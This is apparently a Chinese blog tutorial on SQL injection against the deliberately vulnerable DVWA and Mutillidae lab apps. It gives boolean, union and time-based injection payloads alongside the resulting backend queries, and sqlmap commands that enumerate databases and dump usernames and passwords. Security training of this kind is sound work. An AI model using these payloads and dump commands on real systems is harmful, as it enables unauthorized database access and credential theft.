• SQL注入


    1、查询数据语句

     1 select * from users;
     2 select user_id,first_name,last_name from users;
     3 desc mysql.user  //查看表结构
     4 //条件查询
     5 select user,password,host from mysql.user where user='root'
     6 
     7 //联合查询
     8 select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users;
     9 
    10 //猜字段数,直到试到合适的字段数z 
    11 select * from dvwa.users union select 1,2,3;
     1  information_schema
     2 可以认为是数据库字典, 保存了MySQL的表、库的信息
     3 select * from information_schema.TABLES limit 1G; 查看表的详细信息
     4 *************************** 1. row ***************************
     5   TABLE_CATALOG: NULL
     6    TABLE_SCHEMA: information_schema
     7      TABLE_NAME: CHARACTER_SETS
     8      TABLE_TYPE: SYSTEM VIEW
     9          ENGINE: MEMORY
    10         VERSION: 10
    11      ROW_FORMAT: Fixed
    12      TABLE_ROWS: NULL
    13  AVG_ROW_LENGTH: 384
    14     DATA_LENGTH: 0
    15 MAX_DATA_LENGTH: 16604160
    16    INDEX_LENGTH: 0
    17       DATA_FREE: 0
    18  AUTO_INCREMENT: NULL
    19     CREATE_TIME: NULL
    20     UPDATE_TIME: NULL
    21      CHECK_TIME: NULL
    22 TABLE_COLLATION: utf8_general_ci
    23        CHECKSUM: NULL
    24  CREATE_OPTIONS: max_rows=43690
    25   TABLE_COMMENT:

    2、低安全级别

    输入ID1,前端会显示对应的用户名

     在输入框内输入user ID后,系统会自动返回ID对应的用户名,此时在数据库端实际的指令是

    1 select first_name,last_name from dvwa.users where user_id=1;

     

     2.1基于布尔的注入

    布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码。输入代码:

    1 'or 1=1 -- '

    1 原始语句
    2 mysql>select first_name,last_name from dvwa.users where user_id='';
    3 
    4 SQL注入语句解析:'or 1=1 -- '
    5 mysql>select first_name,last_name from dvwa.users where user_id=' 'or 1=1 --' ';
    6 说明:
    7 第一个'用于闭合前面的条件
    8 or 1=1为真的条件
    9 --将注释后面的所有语句

    2.2基于union注入

    union语句用于联合前面的select查询语句,合并查询更多信息;一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息

     1 //猜测数据列数
     2 ' union select 1 -- '
     3 ' union select 1,2 -- '
     4 ' union select 1,2,3 -- '
     5 SQL注入语句解析
     6 mysql>select first_name,last_name from dvwa.users where user_id='' union select 1 -- ''
     7 
     8 mysql>select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- ''
     9 
    10 //获取当前数据库及用户信息
    11  ' union select version(),database() -- '
    12 ' union select user(),database() -- '
    13 mysql>select first_name,last_name from dvwa.users where user_id='' union select version(),database() --'';
    14
    mysql>select first_name,last_name from dvwa.users where user_id='' union select user(),database() --'';
    说明:
    version() 获取数据库版本信息
    database() 获得当前数据库名
    user() 获得当前用户名

    //查询数据库中所有表
    information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式;
    元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息

     SQL注入语句解析

    //查询所有表
    1
    mysql>select * from information_schema.TABLESG
    1 //查询所有库名
    2  ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '        //前端注入SQL语句
    3 mysql>select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '';    //后端数据库查询语句

    1  // 查看所在库中所有表名
    2 ' union select table_name,1 from INFORMATION_SCHEMA.tables -- '
    3 mysql>select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATION_SCHEMA.tables -- ' '
    1 //同时查询表名及对应库名
    2 ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- '
    3 mysql>select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- ' '

      

    1 //原始语句,$id为前端输入的id,如123
    2 mysql>select first_name,last_name from dvwa.users where user_id='$id'
    1 //查询数据表,查询字段名
    2 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '
    3 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- '
    4 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- '

    上述注入在后端数据库查询语句如下

    1 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- ' '
    2 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- ' '
    3 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- ' '
    1 //查询数据列
    2 'union select NULL,user from users -- '
    3 'union select NULL,password from users -- '
    4 'union select user,password from users -- '
    5 'union select NULL,GRANTEE from USER_PRIVILEGES -- '
    6 'union select password,concat(first_name,' ',last_name,' ' ,user) from users -- '

     

    2.3 基于时间的盲注

      有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。输入1为真语句,后面附加' and sleep(5)-- ',延迟5秒钟返回,说明后面的语句是可以执行的

      SQL注入语句解析

    1 mysql>select first_name,last_name from dvwa.users where user_id ='1' and sleep(5) -- '

    2.4 sqlmap自动化注入 

    SQL注入比较好用的工具,首推开源工具sqlmap。sqlmap是国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

    sqlmap支持MySQL,Oracle,postgreSQL,Microsoft SQL server,Microsoft access,IBM DB2,SQLite,Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

    访问以下链接得到有SQL注入的页面:http://192.168.152.148/mutillidae/index.php?page=user-info.php 

     输入用户名,密码后复制URL到sqlmap进行自动化注入。

    sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -p username
    

    --batch 表示自动化完成   -p username 指定对username字段进行注入。最后得到的注入结果如下,

      

    sqlmap参数解析:

    --users      对用户进行注入

    --current-user    对当前用户注入

    --dbs       过滤数据库

    --current-db     过滤当前数据库

    --batch    //自动化完成

    -D database_name --tables    //对某个数据库进行注入

    -D database_name -T table_name --columns     //对数据库表中的列进行注入

    -D database_name -table_name -C username,password --dump     //指定获取哪些字段的内容

    -D database_name -table_name  --dump-all     //获取所有字段内容

    输入sqlmap -h获取帮助

       -a, --all           Retrieve everything
        -b, --banner        Retrieve DBMS banner
        --current-user      Retrieve DBMS current user
        --current-db        Retrieve DBMS current database
        --passwords         Enumerate DBMS users password hashes
        --tables            Enumerate DBMS database tables
        --columns           Enumerate DBMS database table columns
        --schema            Enumerate DBMS schema
        --dump              Dump DBMS database table entries
        --dump-all          Dump all DBMS databases tables entries
        -D DB               DBMS database to enumerate
        -T TBL              DBMS database table(s) to enumerate
        -C COL              DBMS database table column(s) to enumerate
    

     开始注入

    1、获取所有数据库信息

    sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch --dbs
    

     2、对某个数据库进行注入,本例获取dvwa的表信息

     sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa --tables
    

     3、对dvwa数据库的users表进行注入

    sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa -T users --columns
    

     4、或者users表中的字段所有内容

    sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa -T users --dump-all

    当然也可以对某个字段进行注入

    sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa -T users -C "user" --dump
    

    2.5 使用sqlmap对dvwa进行自动化注入

     2.5.1 获取注入点URL

    在输入框中输入“1”,提交后复制URL,由于系统需要登录,因此使用sqlmap注入时需要把cookie加上去

    2.5.2获取数据库

    1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --dbs

    2.5.3 获取表

    1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa --tables

    2.5.4获取列

    1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa -T users --colums

    2.5.5 获取用户名和密码

    1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa -T users -C password,user --dump

  • 相关阅读:
    Blazor client-side + webapi (.net core 3.1) 添加jwt验证流程(非host)第一步
    移动端web框架候选
    Blazor初体验之寻找存储client-side jwt token的方法
    python学习记录(持续更新)--最最最基础的一部分(方法,异常处理,注释,类)
    python学习记录(持续更新)--最最最基础的一部分(条件分支、循环、数组矩阵、元组)
    python学习记录(持续更新)--最最最基础的一部分(变量、字符串、运算符、常见函数)
    C#后台异步消息队列实现
    Quartz.Net 删除一个Job
    授权认证(IdentityServer4)
    文件同步
  • 原文地址:https://www.cnblogs.com/leeqizhi/p/11477789.html
Copyright © 2020-2023  润新知